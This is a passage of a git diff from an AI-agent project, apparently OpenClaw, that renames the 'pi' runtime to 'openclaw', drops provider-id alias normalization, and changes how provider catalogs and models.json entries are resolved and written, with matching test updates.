normalizeProviderId(canonicalizeRuntimeAliasProvider(provider)); + const canonicalProvider = normalizeProviderId( + canonicalizeRuntimeAliasProvider(provider, options), + ); return model ? `${canonicalProvider}/${model}` : canonicalProvider; } -export function areRuntimeModelRefsEquivalent(left: string, right: string): boolean { +export function areRuntimeModelRefsEquivalent( + left: string, + right: string, + options: RuntimeAliasComparisonOptions = {}, +): boolean { return ( - normalizeRuntimeModelRefForComparison(left) === normalizeRuntimeModelRefForComparison(right) + normalizeRuntimeModelRefForComparison(left, options) === + normalizeRuntimeModelRefForComparison(right, options) ); } @@ -240,7 +152,14 @@ function resolveProfileRuntimeAlias(params: { if (providerAuthKey !== profileAuthKey) { return undefined; } - return CLI_RUNTIME_BY_PROVIDER.get(`${provider}:${profileProvider}`)?.runtime; + if (profileProvider === provider) { + return undefined; + } + return resolveCliRuntimeModelBackendBinding({ + config: params.cfg, + provider, + runtime: profileProvider, + })?.runtime; } function resolveCliRuntimeFromAuthProfile(params: { @@ -303,7 +222,7 @@ export function resolveCliRuntimeExecutionProvider(params: { }): string | undefined { const provider = normalizeProviderId(params.provider); const { runtime, matchedProvider } = resolveConfiguredRuntime({ ...params, provider }); - if (runtime === "pi") { + if (runtime === "openclaw") { return undefined; } if (!runtime || runtime === "auto") { @@ -313,5 +232,9 @@ export function resolveCliRuntimeExecutionProvider(params: { if (!effectiveProvider) { return undefined; } - return CLI_RUNTIME_BY_PROVIDER.get(`${effectiveProvider}:${runtime}`)?.runtime; + return resolveCliRuntimeModelBackendBinding({ + config: params.cfg, + provider: effectiveProvider, + runtime, + })?.runtime; } diff --git a/src/agents/model-runtime-policy.test.ts b/src/agents/model-runtime-policy.test.ts index 0c63815b812..b46448dce32 100644 --- a/src/agents/model-runtime-policy.test.ts +++ b/src/agents/model-runtime-policy.test.ts @@ -55,7 +55,7 @@ afterEach(() => { describe("resolveModelRuntimePolicy", () => { it("ignores the QA force-runtime override when the private QA gate is unset", () => { delete process.env.OPENCLAW_BUILD_PRIVATE_QA; - process.env.OPENCLAW_QA_FORCE_RUNTIME = "pi"; + process.env.OPENCLAW_QA_FORCE_RUNTIME = "openclaw"; expect( resolveModelRuntimePolicy({ @@ -71,7 +71,7 @@ describe("resolveModelRuntimePolicy", () => { it("respects the QA force-runtime override when the private QA gate is set", () => { process.env.OPENCLAW_BUILD_PRIVATE_QA = "1"; - process.env.OPENCLAW_QA_FORCE_RUNTIME = "pi"; + process.env.OPENCLAW_QA_FORCE_RUNTIME = "openclaw"; expect( resolveModelRuntimePolicy({ @@ -80,7 +80,7 @@ describe("resolveModelRuntimePolicy", () => { modelId: "gpt-5.5", }), ).toEqual({ - policy: { id: "pi" }, + policy: { id: "openclaw" }, source: "model", }); }); @@ -106,7 +106,7 @@ describe("resolveModelRuntimePolicy", () => { agents: { defaults: { models: { - "vllm/*": { agentRuntime: { id: "pi" } }, + "vllm/*": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -119,7 +119,7 @@ describe("resolveModelRuntimePolicy", () => { modelId: "qwen-local", }), ).toEqual({ - policy: { id: "pi" }, + policy: { id: "openclaw" }, source: "model", matchedProvider: "vllm", }); @@ -130,7 +130,7 @@ describe("resolveModelRuntimePolicy", () => { agents: { defaults: { models: { - "vllm/*": { agentRuntime: { id: "pi" } }, + "vllm/*": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -142,7 +142,7 @@ describe("resolveModelRuntimePolicy", () => { provider: "vllm", }), ).toEqual({ - policy: { id: "pi" }, + policy: { id: "openclaw" }, source: "model", matchedProvider: "vllm", }); @@ -153,7 +153,7 @@ describe("resolveModelRuntimePolicy", () => { agents: { defaults: { models: { - "vllm/*": { agentRuntime: { id: "pi" } }, + "vllm/*": { agentRuntime: { id: "openclaw" } }, "vllm/qwen-local": { agentRuntime: { id: "codex" } }, }, }, @@ -178,7 +178,7 @@ describe("resolveModelRuntimePolicy", () => { agents: { defaults: { models: { - "vllm/*": { agentRuntime: { id: "pi" } }, + "vllm/*": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -209,7 +209,7 @@ describe("resolveModelRuntimePolicy", () => { agents: { defaults: { models: { - "vllm/*": { agentRuntime: { id: "pi" } }, + "vllm/*": { agentRuntime: { id: "openclaw" } }, }, }, }, @@ -231,7 +231,7 @@ describe("resolveModelRuntimePolicy", () => { modelId: "qwen-local", }), ).toEqual({ - policy: { id: "pi" }, + policy: { id: "openclaw" }, source: "model", matchedProvider: "vllm", }); diff --git a/src/agents/model-runtime-policy.ts b/src/agents/model-runtime-policy.ts index 866c8d167d8..4a217300cd9 100644 --- a/src/agents/model-runtime-policy.ts +++ b/src/agents/model-runtime-policy.ts @@ -228,7 +228,7 @@ export function resolveModelRuntimePolicy(params: { }): ResolvedModelRuntimePolicy { if (process.env.OPENCLAW_BUILD_PRIVATE_QA === "1") { const forcedRuntime = process.env.OPENCLAW_QA_FORCE_RUNTIME?.trim().toLowerCase(); - if (forcedRuntime === "pi" || forcedRuntime === "codex") { + if (forcedRuntime === "openclaw" || forcedRuntime === "codex") { return { policy: { id: forcedRuntime }, source: "model" }; } } diff --git a/src/agents/model-scan.test.ts b/src/agents/model-scan.test.ts index 7c43c4112dd..09962b5a156 100644 --- a/src/agents/model-scan.test.ts +++ b/src/agents/model-scan.test.ts @@ -102,7 +102,7 @@ describe("scanOpenRouterModels", () => { ).rejects.toThrow(/catalog aborted/); }); - it("matches provider filters across canonical provider aliases", async () => { + it("does not match provider filters across provider id variants", async () => { const fetchImpl = createFetchFixture({ data: [ { @@ -130,6 +130,6 @@ describe("scanOpenRouterModels", () => { providerFilter: "z-ai", }); - expect(results.map((entry) => entry.id)).toEqual(["z.ai/glm-5"]); + expect(results.map((entry) => entry.id)).toEqual([]); }); }); diff --git a/src/agents/model-scan.ts b/src/agents/model-scan.ts index 1930cd78dee..bddeea749e8 100644 --- a/src/agents/model-scan.ts +++ b/src/agents/model-scan.ts @@ -1,14 +1,9 @@ -import { - type Context, - complete, - getEnvApiKey, - getModel, - type Model, - type OpenAICompletionsOptions, - type Tool, -} from "@earendil-works/pi-ai"; import { Type } from "typebox"; import { formatErrorMessage } from "../infra/errors.js"; +import { getEnvApiKey } from "../llm/env-api-keys.js"; +import type { OpenAICompletionsOptions } from "../llm/providers/openai-completions.js"; +import { complete } from "../llm/stream.js"; +import { type Context, type Model, type Tool } from "../llm/types.js"; import { inferParamBFromIdOrName } from "../shared/model-param-b.js"; import { normalizeLowercaseStringOrEmpty, @@ -453,7 +448,18 @@ export async function scanOpenRouterModels( return true; }); - const baseModel = getModel("openrouter", "openrouter/auto") as OpenAIModel; + const baseModel: OpenAIModel = { + id: "openrouter/auto", + name: "OpenRouter Auto", + api: "openai-completions", + provider: "openrouter", + baseUrl: "https://openrouter.ai/api/v1", + reasoning: false, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128_000, + maxTokens: 16_384, + }; options.onProgress?.({ phase: "probe", diff --git a/src/agents/model-selection-cli.test.ts b/src/agents/model-selection-cli.test.ts index 5551a372ccb..403d06c1e82 100644 --- a/src/agents/model-selection-cli.test.ts +++ b/src/agents/model-selection-cli.test.ts @@ -78,10 +78,6 @@ describe("isCliProvider", () => { expect(isCliProvider("claude-cli", {} as OpenClawConfig)).toBe(true); }); - it("accepts the anthropic-cli auth-choice id as a Claude CLI provider alias", () => { - expect(isCliProvider("anthropic-cli", {} as OpenClawConfig)).toBe(true); - }); - it("returns false for provider ids", () => { expect(isCliProvider("example-cli", {} as OpenClawConfig)).toBe(false); }); diff --git a/src/agents/model-selection-shared.ts b/src/agents/model-selection-shared.ts index e069e24e0ce..fc7afb5cb57 100644 --- a/src/agents/model-selection-shared.ts +++ b/src/agents/model-selection-shared.ts @@ -106,8 +106,7 @@ function createModelManifestPluginContext(params: { function listModelAliasCandidates(cfg: OpenClawConfig): ModelAliasCandidate[] { return Object.entries(cfg.agents?.defaults?.models ?? {}).flatMap(([keyRaw, entryRaw]) => { - const trimmedKey = keyRaw.trim(); - if (trimmedKey.endsWith("/*") && normalizeProviderId(trimmedKey.slice(0, -2))) { + if (parseProviderWildcardModelRef(keyRaw)) { return []; } const alias = @@ -559,7 +558,7 @@ function buildModelCatalogMetadata( const aliasByKey = new Map(); const configuredModels = params.cfg.agents?.defaults?.models ?? {}; for (const [rawKey, entryRaw] of Object.entries(configuredModels)) { - if (rawKey.trim().endsWith("/*")) { + if (parseProviderWildcardModelRef(rawKey)) { continue; } const key = resolveAllowlistModelKey({ @@ -1259,6 +1258,14 @@ export function normalizeModelSelection(value: unknown): string | undefined { return undefined; } +function parseProviderWildcardModelRef(raw: string): string | null { + const trimmed = raw.trim(); + if (!trimmed.endsWith("/*")) { + return null; + } + return normalizeProviderId(trimmed.slice(0, -2)) || null; +} + export function parseConfiguredModelVisibilityEntries(params: { cfg?: OpenClawConfig }): { exactModelRefs: string[]; providerWildcards: Set; @@ -1273,12 +1280,10 @@ export function parseConfiguredModelVisibilityEntries(params: { cfg?: OpenClawCo if (!trimmed) { continue; } - if (trimmed.endsWith("/*")) { - const provider = normalizeProviderId(trimmed.slice(0, -2)); - if (provider) { - providerWildcards.add(provider); - continue; - } + const wildcardProvider = parseProviderWildcardModelRef(trimmed); + if (wildcardProvider) { + providerWildcards.add(wildcardProvider); + continue; } exactModelRefs.push(raw); } diff --git a/src/agents/model-selection.test.ts b/src/agents/model-selection.test.ts index fe3326e1e73..13a65abcf0f 100644 --- a/src/agents/model-selection.test.ts +++ b/src/agents/model-selection.test.ts @@ -3,7 +3,6 @@ import type { OpenClawConfig } from "../config/types.js"; import { resetLogger, setLoggerOverride } from "../logging/logger.js"; import { createWarnLogCapture } from "../logging/test-helpers/warn-log-capture.js"; import { resolveAgentHarnessPolicy } from "./harness/policy.js"; -import { migrateLegacyRuntimeModelRef } from "./model-runtime-aliases.js"; import { isModelKeyAllowedBySet, providerWildcardModelKey } from "./model-selection-shared.js"; import { buildAllowedModelSet, @@ -224,24 +223,23 @@ describe("model-selection", () => { describe("normalizeProviderId", () => { it("should normalize provider names", () => { expect(normalizeProviderId("Anthropic")).toBe("anthropic"); - expect(normalizeProviderId("Z.ai")).toBe("zai"); - expect(normalizeProviderId("z-ai")).toBe("zai"); - expect(normalizeProviderId("OpenCode-Zen")).toBe("opencode"); + expect(normalizeProviderId("Z.ai")).toBe("z.ai"); + expect(normalizeProviderId("z-ai")).toBe("z-ai"); + expect(normalizeProviderId("OpenCode-Zen")).toBe("opencode-zen"); expect(normalizeProviderId("qwen")).toBe("qwen"); - expect(normalizeProviderId("kimi-code")).toBe("kimi"); - expect(normalizeProviderId("kimi-coding")).toBe("kimi"); - expect(normalizeProviderId("MoonshotAI")).toBe("moonshot"); - expect(normalizeProviderId("moonshot-ai")).toBe("moonshot"); - expect(normalizeProviderId("anthropic-cli")).toBe("claude-cli"); - expect(normalizeProviderId("bedrock")).toBe("amazon-bedrock"); - expect(normalizeProviderId("aws-bedrock")).toBe("amazon-bedrock"); + expect(normalizeProviderId("kimi-code")).toBe("kimi-code"); + expect(normalizeProviderId("kimi-coding")).toBe("kimi-coding"); + expect(normalizeProviderId("MoonshotAI")).toBe("moonshotai"); + expect(normalizeProviderId("moonshot-ai")).toBe("moonshot-ai"); + expect(normalizeProviderId("bedrock")).toBe("bedrock"); + expect(normalizeProviderId("aws-bedrock")).toBe("aws-bedrock"); expect(normalizeProviderId("amazon-bedrock")).toBe("amazon-bedrock"); }); }); describe("normalizeProviderIdForAuth", () => { - it("only applies generic provider-id normalization before auth alias lookup", () => { - expect(normalizeProviderIdForAuth("qwencloud")).toBe("qwen"); + it("only applies lowercase provider-id normalization before auth alias lookup", () => { + expect(normalizeProviderIdForAuth("qwencloud")).toBe("qwencloud"); expect(normalizeProviderIdForAuth("openai-codex")).toBe("openai-codex"); expect(normalizeProviderIdForAuth("openai")).toBe("openai"); }); @@ -415,12 +413,6 @@ describe("model-selection", () => { defaultProvider: "google-vertex", expected: { provider: "google-vertex", model: "gemini-3.1-flash-lite" }, }, - { - name: "normalizes anthropic-cli refs to the Claude CLI provider alias", - variants: ["anthropic-cli/claude-opus-4-7"], - defaultProvider: "openai", - expected: { provider: "claude-cli", model: "claude-opus-4-7" }, - }, ]; it("parses and normalizes provider/model refs", () => { @@ -429,28 +421,6 @@ describe("model-selection", () => { } }); - it("migrates anthropic-cli legacy runtime refs to canonical Anthropic refs", () => { - expect(migrateLegacyRuntimeModelRef("anthropic-cli/claude-opus-4-7")).toEqual({ - ref: "anthropic/claude-opus-4-7", - legacyProvider: "claude-cli", - provider: "anthropic", - model: "claude-opus-4-7", - runtime: "claude-cli", - cli: true, - }); - }); - - it("normalizes retired Gemini ids while migrating legacy Gemini CLI refs", () => { - expect(migrateLegacyRuntimeModelRef("google-gemini-cli/gemini-3-pro-preview")).toEqual({ - ref: "google/gemini-3.1-pro-preview", - legacyProvider: "google-gemini-cli", - provider: "google", - model: "gemini-3.1-pro-preview", - runtime: "google-gemini-cli", - cli: true, - }); - }); - it("round-trips normalized refs through modelKey", () => { const parsed = parseModelRef(" opus-4.6 ", "anthropic", { allowPluginNormalization: false, @@ -496,7 +466,7 @@ describe("model-selection", () => { }); }); - it("normalizes explicit override providers without reparsing runtime semantics", () => { + it("preserves explicit override provider ids without reparsing runtime semantics", () => { expect( resolvePersistedModelRef({ defaultProvider: "anthropic", @@ -504,7 +474,7 @@ describe("model-selection", () => { overrideModel: "kimi-code", }), ).toEqual({ - provider: "kimi", + provider: "kimi-coding", model: "kimi-code", }); }); @@ -535,7 +505,7 @@ describe("model-selection", () => { }); }); - it("normalizes explicit override providers without reparsing away wrapper semantics", () => { + it("preserves explicit override provider ids without reparsing away wrapper semantics", () => { expect( resolvePersistedOverrideModelRef({ defaultProvider: "anthropic", @@ -543,7 +513,7 @@ describe("model-selection", () => { overrideModel: "kimi-code", }), ).toEqual({ - provider: "kimi", + provider: "kimi-coding", model: "kimi-code", }); }); @@ -2040,7 +2010,7 @@ describe("model-selection", () => { ).toEqual({ provider: "kilocode", model: "google/gemini-3.1-pro-preview" }); }); - it("keeps legacy modelstudio aliases when no exact foreign api owner is configured", () => { + it("preserves explicit provider ids when no exact foreign api owner is configured", () => { const cfg = { agents: { defaults: { @@ -2055,7 +2025,7 @@ describe("model-selection", () => { defaultProvider: "anthropic", defaultModel: "claude-opus-4-6", }), - ).toEqual({ provider: "qwen", model: "qwen3.5-plus" }); + ).toEqual({ provider: "modelstudio", model: "qwen3.5-plus" }); }); it("should fall back to hardcoded default when no custom providers have models", () => { diff --git a/src/agents/model-suppression.test.ts b/src/agents/model-suppression.test.ts index 3f091144b2b..75e628d6789 100644 --- a/src/agents/model-suppression.test.ts +++ b/src/agents/model-suppression.test.ts @@ -55,7 +55,7 @@ describe("model suppression", () => { mocks.buildManifestBuiltInModelSuppressionResolver.mockReset(); }); - it("creates a reusable manifest resolver with normalized provider and model ids", () => { + it("creates a reusable manifest resolver with lowercase provider and model ids", () => { const resolver = vi .fn() .mockReturnValueOnce({ suppress: true, errorMessage: "manifest suppression" }) @@ -73,11 +73,11 @@ describe("model suppression", () => { env: process.env, }); expect(resolver).toHaveBeenNthCalledWith(1, { - provider: "amazon-bedrock", + provider: "bedrock", id: "claude-3", }); expect(resolver).toHaveBeenNthCalledWith(2, { - provider: "amazon-bedrock", + provider: "aws-bedrock", id: "claude-4", }); }); diff --git a/src/agents/models-config.applies-config-env-vars.test.ts b/src/agents/models-config.applies-config-env-vars.test.ts index 447dc16db91..62c041fb406 100644 --- a/src/agents/models-config.applies-config-env-vars.test.ts +++ b/src/agents/models-config.applies-config-env-vars.test.ts @@ -30,6 +30,25 @@ function createImplicitOpenRouterProvider(): ProviderConfig { }; } +function createImplicitOpenAiProvider(overrides: Partial = {}): ProviderConfig { + return { + baseUrl: "https://api.openai.com/v1", + api: "openai-responses", + models: [ + { + id: "gpt-5.5", + name: "GPT-5.5", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 400000, + maxTokens: 128000, + }, + ], + ...overrides, + }; +} + async function resolveProvidersForConfigEnvTest(params: { cfg: OpenClawConfig; onResolveImplicitProviders: (env: NodeJS.ProcessEnv) => void; @@ -188,6 +207,62 @@ describe("models-config", () => { expect(observedSnapshot).toBe(pluginMetadataSnapshot); }); + it("does not write unauthenticated model providers that would invalidate models.json", async () => { + const plan = await planOpenClawModelsJsonWithDeps( + { + cfg: { models: { providers: {} } }, + agentDir: "/tmp/openclaw-models-config-env-vars-test", + env: {}, + existingRaw: "", + existingParsed: null, + }, + { + resolveImplicitProviders: async () => ({ + openai: createImplicitOpenAiProvider(), + "auth-only": createImplicitOpenAiProvider({ + baseUrl: "https://auth.example/v1", + api: "openai-responses", + models: [], + }), + }), + }, + ); + + expect(plan.action).toBe("write"); + if (plan.action !== "write") { + throw new Error("Expected models.json write plan"); + } + const parsed = JSON.parse(plan.contents) as { providers?: Record }; + expect(parsed.providers?.openai).toBeUndefined(); + expect(parsed.providers?.["auth-only"]).toBeDefined(); + }); + + it("falls back to canonical env markers when provider runtime has no api-key policy", async () => { + const plan = await planOpenClawModelsJsonWithDeps( + { + cfg: { models: { providers: {} } }, + agentDir: "/tmp/openclaw-models-config-env-vars-test", + env: { OPENAI_API_KEY: "sk-test" } as NodeJS.ProcessEnv, + existingRaw: "", + existingParsed: null, + }, + { + resolveImplicitProviders: async () => ({ + openai: createImplicitOpenAiProvider(), + }), + }, + ); + + expect(plan.action).toBe("write"); + if (plan.action !== "write") { + throw new Error("Expected models.json write plan"); + } + const parsed = JSON.parse(plan.contents) as { + providers?: Record; + }; + expect(parsed.providers?.openai?.apiKey).toBe("OPENAI_API_KEY"); + }); + it("normalizes retired Gemini ids preserved from existing models.json rows", async () => { const plan = await planOpenClawModelsJsonWithDeps( { diff --git a/src/agents/models-config.e2e-harness.ts b/src/agents/models-config.e2e-harness.ts index 52acd298cc2..6b6d9c33cd8 100644 --- a/src/agents/models-config.e2e-harness.ts +++ b/src/agents/models-config.e2e-harness.ts @@ -20,16 +20,13 @@ export function installModelsConfigTestHooks(opts?: { }) { let previousHome: string | undefined; let previousOpenClawAgentDir: string | undefined; - let previousPiCodingAgentDir: string | undefined; const originalFetch = globalThis.fetch; const shouldResetPluginLoaderState = opts?.resetPluginLoaderState !== false; beforeEach(() => { previousHome = process.env.HOME; previousOpenClawAgentDir = process.env.OPENCLAW_AGENT_DIR; - previousPiCodingAgentDir = process.env.PI_CODING_AGENT_DIR; delete process.env.OPENCLAW_AGENT_DIR; - delete process.env.PI_CODING_AGENT_DIR; clearRuntimeConfigSnapshot(); clearConfigCache(); if (shouldResetPluginLoaderState) { @@ -45,11 +42,6 @@ export function installModelsConfigTestHooks(opts?: { } else { process.env.OPENCLAW_AGENT_DIR = previousOpenClawAgentDir; } - if (previousPiCodingAgentDir === undefined) { - delete process.env.PI_CODING_AGENT_DIR; - } else { - process.env.PI_CODING_AGENT_DIR = previousPiCodingAgentDir; - } clearRuntimeConfigSnapshot(); clearConfigCache(); if (shouldResetPluginLoaderState) { @@ -108,7 +100,7 @@ export const MODELS_CONFIG_IMPLICIT_ENV_VARS = [ "OPENCLAW_AGENT_DIR", "OPENAI_API_KEY", "OPENROUTER_API_KEY", - "PI_CODING_AGENT_DIR", + "OPENCLAW_AGENT_DIR", "QIANFAN_API_KEY", "QWEN_API_KEY", "MODELSTUDIO_API_KEY", diff --git a/src/agents/models-config.merge.test.ts b/src/agents/models-config.merge.test.ts index ae1ed7c1a81..9baa2b5866e 100644 --- a/src/agents/models-config.merge.test.ts +++ b/src/agents/models-config.merge.test.ts @@ -180,6 +180,37 @@ describe("models-config merge helpers", () => { expect(merged["custom-proxy"]?.baseUrl).toBe("http://localhost:4000/v1"); }); + it("drops stale invalid existing providers that would poison models.json", () => { + const merged = mergeWithExistingProviderSecrets({ + nextProviders: { + openai: createConfigProvider(), + }, + existingProviders: { + "claude-cli": { + api: "anthropic-messages", + models: [ + createModel({ + id: "claude-sonnet-4-6", + name: "Claude Sonnet", + reasoning: true, + }), + ], + } as unknown as ExistingProviderConfig, + "auth-only": { + baseUrl: "https://auth.example/v1", + api: "openai-responses", + apiKey: preservedApiKey, + models: [], + } as ExistingProviderConfig, + }, + secretRefManagedProviders: new Set(), + }); + + expect(merged["claude-cli"]).toBeUndefined(); + expect(merged["auth-only"]?.apiKey).toBe(preservedApiKey); + expect(merged.openai).toBeDefined(); + }); + it("preserves non-empty existing apiKey and baseUrl from models.json", () => { const merged = mergeWithExistingProviderSecrets({ nextProviders: { diff --git a/src/agents/models-config.merge.ts b/src/agents/models-config.merge.ts index c925b2d7463..139d04040f8 100644 --- a/src/agents/models-config.merge.ts +++ b/src/agents/models-config.merge.ts @@ -212,6 +212,13 @@ function shouldPreserveExistingBaseUrl(params: { return !existingApi || !nextApi || existingApi === nextApi; } +function isExistingProviderSelfContained(entry: ExistingProviderConfig): boolean { + if (!Array.isArray(entry.models) || entry.models.length === 0) { + return true; + } + return Boolean(entry.baseUrl?.trim() && entry.apiKey); +} + export function mergeWithExistingProviderSecrets(params: { nextProviders: Record; existingProviders: Record; @@ -220,6 +227,9 @@ export function mergeWithExistingProviderSecrets(params: { const { nextProviders, existingProviders, secretRefManagedProviders } = params; const mergedProviders: Record = {}; for (const [key, entry] of Object.entries(existingProviders)) { + if (!isExistingProviderSelfContained(entry)) { + continue; + } mergedProviders[key] = entry; } for (const [key, newEntry] of Object.entries(nextProviders)) { diff --git a/src/agents/models-config.plan.ts b/src/agents/models-config.plan.ts index 71334bf3d10..7f099ee182f 100644 --- a/src/agents/models-config.plan.ts +++ b/src/agents/models-config.plan.ts @@ -105,6 +105,22 @@ function resolveProvidersForMode(params: { }); } +function isWritableProviderConfig(provider: ProviderConfig): boolean { + if (!Array.isArray(provider.models) || provider.models.length === 0) { + return true; + } + return Boolean(provider.baseUrl?.trim() && provider.apiKey); +} + +function filterWritableProviders( + providers: Record, +): Record { + const next = Object.fromEntries( + Object.entries(providers).filter(([, provider]) => isWritableProviderConfig(provider)), + ); + return Object.keys(next).length === Object.keys(providers).length ? providers : next; +} + export async function planOpenClawModelsJsonWithDeps( params: { cfg: OpenClawConfig; @@ -181,7 +197,9 @@ export async function planOpenClawModelsJsonWithDeps( sourceSecretDefaults: params.sourceConfigForSecrets?.secrets?.defaults, secretRefManagedProviders, }) ?? normalizedMergedProviders; - const finalProviders = applyNativeStreamingUsageCompat(secretEnforcedProviders); + const finalProviders = applyNativeStreamingUsageCompat( + filterWritableProviders(secretEnforcedProviders), + ); const nextContents = `${JSON.stringify({ providers: finalProviders }, null, 2)}\n`; if (params.existingRaw === nextContents) { diff --git a/src/agents/models-config.providers.implicit.discovery-scope.test.ts b/src/agents/models-config.providers.implicit.discovery-scope.test.ts index fc5fcd0dee9..44077c5a41f 100644 --- a/src/agents/models-config.providers.implicit.discovery-scope.test.ts +++ b/src/agents/models-config.providers.implicit.discovery-scope.test.ts @@ -67,6 +67,18 @@ function createProviderWithStaticCatalog(id: string): ProviderPlugin { }; } +function createStaticOnlyProvider(id: string): ProviderPlugin { + return { + id, + label: id, + auth: [], + staticCatalog: { + order: "simple", + run: async () => null, + }, + }; +} + function createTextModel(id: string, name: string) { return { id, @@ -172,6 +184,51 @@ describe("resolveImplicitProviders startup discovery scope", () => { expect(mocks.runProviderCatalog).not.toHaveBeenCalled(); }); + it("uses static-only provider catalogs for scoped startup discovery", async () => { + mocks.resolveRuntimePluginDiscoveryProviders.mockResolvedValue([ + createStaticOnlyProvider("openai"), + ]); + + await resolveImplicitProviders({ + agentDir: "/tmp/openclaw-agent", + config: {}, + env: {} as NodeJS.ProcessEnv, + explicitProviders: {}, + providerDiscoveryProviderIds: ["openai"], + }); + + expect(mocks.runProviderStaticCatalog).toHaveBeenCalledTimes(1); + expect(mocks.runProviderCatalog).not.toHaveBeenCalled(); + }); + + it("falls back to static provider catalogs when runtime discovery has no rows", async () => { + mocks.resolveRuntimePluginDiscoveryProviders.mockResolvedValue([ + createProviderWithStaticCatalog("minimax"), + ]); + mocks.runProviderCatalog.mockResolvedValue(null); + mocks.runProviderStaticCatalog.mockResolvedValue({ + providers: { + minimax: { + baseUrl: "https://api.minimax.io/anthropic", + api: "anthropic-messages" as const, + models: [createTextModel("MiniMax-M2.7", "MiniMax M2.7")], + }, + }, + }); + + const providers = await resolveImplicitProviders({ + agentDir: "/tmp/openclaw-agent", + config: {}, + env: {} as NodeJS.ProcessEnv, + explicitProviders: {}, + providerDiscoveryProviderIds: ["minimax"], + }); + + expect(mocks.runProviderCatalog).toHaveBeenCalledTimes(1); + expect(mocks.runProviderStaticCatalog).toHaveBeenCalledTimes(1); + expect(providers?.minimax?.models.map((model) => model.id)).toEqual(["MiniMax-M2.7"]); + }); + it("keeps explicit provider models manual without provider wildcard visibility", async () => { const explicitProvider = { baseUrl: "http://vllm.example/v1", diff --git a/src/agents/models-config.providers.implicit.ts b/src/agents/models-config.providers.implicit.ts index 4041e85f534..f3a79c207bd 100644 --- a/src/agents/models-config.providers.implicit.ts +++ b/src/agents/models-config.providers.implicit.ts @@ -9,7 +9,7 @@ import { runProviderCatalog, runProviderStaticCatalog, } from "../plugins/provider-discovery.js"; -import { resolveOwningPluginIdsForProvider } from "../plugins/providers.js"; +import { resolveOwningPluginIdsForProviderRef } from "../plugins/providers.js"; import { normalizeStringEntries, uniqueStrings } from "../shared/string-normalization.js"; import { ensureAuthProfileStore } from "./auth-profiles/store.js"; import { @@ -136,7 +136,7 @@ function resolveProviderPluginScopeFromProviderIds(params: { for (const id of params.providerIds) { const owners = params.resolveOwners?.(id) ?? - resolveOwningPluginIdsForProvider({ + resolveOwningPluginIdsForProviderRef({ provider: id, config: params.config, workspaceDir: params.workspaceDir, @@ -319,6 +319,14 @@ function hasProviderWildcardVisibility(params: { ); } +function hasRuntimeProviderCatalog( + provider: import("../plugins/types.js").ProviderPlugin, +): boolean { + return ( + typeof provider.catalog?.run === "function" || typeof provider.discovery?.run === "function" + ); +} + async function resolvePluginImplicitProviders( ctx: ImplicitProviderContext, providers: import("../plugins/types.js").ProviderPlugin[], @@ -366,27 +374,37 @@ async function resolvePluginImplicitProviders( }; }; - const result = - ctx.providerDiscoveryEntriesOnly === true && provider.staticCatalog - ? await runProviderStaticCatalog({ - provider, - config: catalogConfig, - agentDir: ctx.agentDir, - workspaceDir: ctx.workspaceDir, - env: ctx.env, - }) - : await runProviderCatalogWithTimeout({ - provider, - config: catalogConfig, - agentDir: ctx.agentDir, - workspaceDir: ctx.workspaceDir, - env: ctx.env, - resolveProviderApiKey: resolveCatalogProviderApiKey, - resolveProviderAuth: (providerId, options) => - ctx.resolveProviderAuth(providerId?.trim() || provider.id, options), - timeoutMs: - ctx.providerDiscoveryTimeoutMs ?? resolveLiveProviderCatalogTimeoutMs(ctx.env), - }); + const useStaticCatalog = + Boolean(provider.staticCatalog) && + (ctx.providerDiscoveryEntriesOnly === true || !hasRuntimeProviderCatalog(provider)); + let result = useStaticCatalog + ? await runProviderStaticCatalog({ + provider, + config: catalogConfig, + agentDir: ctx.agentDir, + workspaceDir: ctx.workspaceDir, + env: ctx.env, + }) + : await runProviderCatalogWithTimeout({ + provider, + config: catalogConfig, + agentDir: ctx.agentDir, + workspaceDir: ctx.workspaceDir, + env: ctx.env, + resolveProviderApiKey: resolveCatalogProviderApiKey, + resolveProviderAuth: (providerId, options) => + ctx.resolveProviderAuth(providerId?.trim() || provider.id, options), + timeoutMs: ctx.providerDiscoveryTimeoutMs ?? resolveLiveProviderCatalogTimeoutMs(ctx.env), + }); + if (!result && !useStaticCatalog && provider.staticCatalog) { + result = await runProviderStaticCatalog({ + provider, + config: catalogConfig, + agentDir: ctx.agentDir, + workspaceDir: ctx.workspaceDir, + env: ctx.env, + }); + } if (!result) { continue; } diff --git a/src/agents/models-config.providers.live-filter.test.ts b/src/agents/models-config.providers.live-filter.test.ts index debede39cae..81e3fabca40 100644 --- a/src/agents/models-config.providers.live-filter.test.ts +++ b/src/agents/models-config.providers.live-filter.test.ts @@ -112,16 +112,14 @@ describe("resolveProviderDiscoveryFilterForTest", () => { ).toEqual(["anthropic"]); }); - it("normalizes provider aliases through plugin metadata owners", () => { + it("does not resolve provider aliases through plugin metadata owners", () => { const snapshot = { owners: metadataOwners({ providers: new Map([["volcengine", ["volcengine"]]]), }), }; - expect(resolvePluginMetadataProviderOwnersForTest(snapshot, "bytedance")).toEqual([ - "volcengine", - ]); + expect(resolvePluginMetadataProviderOwnersForTest(snapshot, "bytedance")).toBeUndefined(); expect( resolveProviderDiscoveryFilterForTest({ env: liveFilterEnv({ @@ -130,7 +128,7 @@ describe("resolveProviderDiscoveryFilterForTest", () => { }), resolveOwners: (provider) => resolvePluginMetadataProviderOwnersForTest(snapshot, provider), }), - ).toEqual(["volcengine"]); + ).toEqual(["bytedance"]); }); it("scopes normal startup discovery to requested provider owners", () => { diff --git a/src/agents/models-config.providers.plugin-allowlist-compat.test.ts b/src/agents/models-config.providers.plugin-allowlist-compat.test.ts deleted file mode 100644 index c48554b07e5..00000000000 --- a/src/agents/models-config.providers.plugin-allowlist-compat.test.ts +++ /dev/null @@ -1,204 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - withBundledPluginAllowlistCompat, - withBundledPluginEnablementCompat, -} from "../plugins/bundled-compat.js"; -import type { PluginManifestRecord, PluginManifestRegistry } from "../plugins/manifest-registry.js"; -import type { PluginRegistrySnapshot } from "../plugins/plugin-registry.js"; -import { resolveEnabledProviderPluginIds } from "../plugins/providers.js"; - -const PROVIDER_PLUGIN_IDS = ["kilocode", "moonshot", "openrouter"] as const; - -function 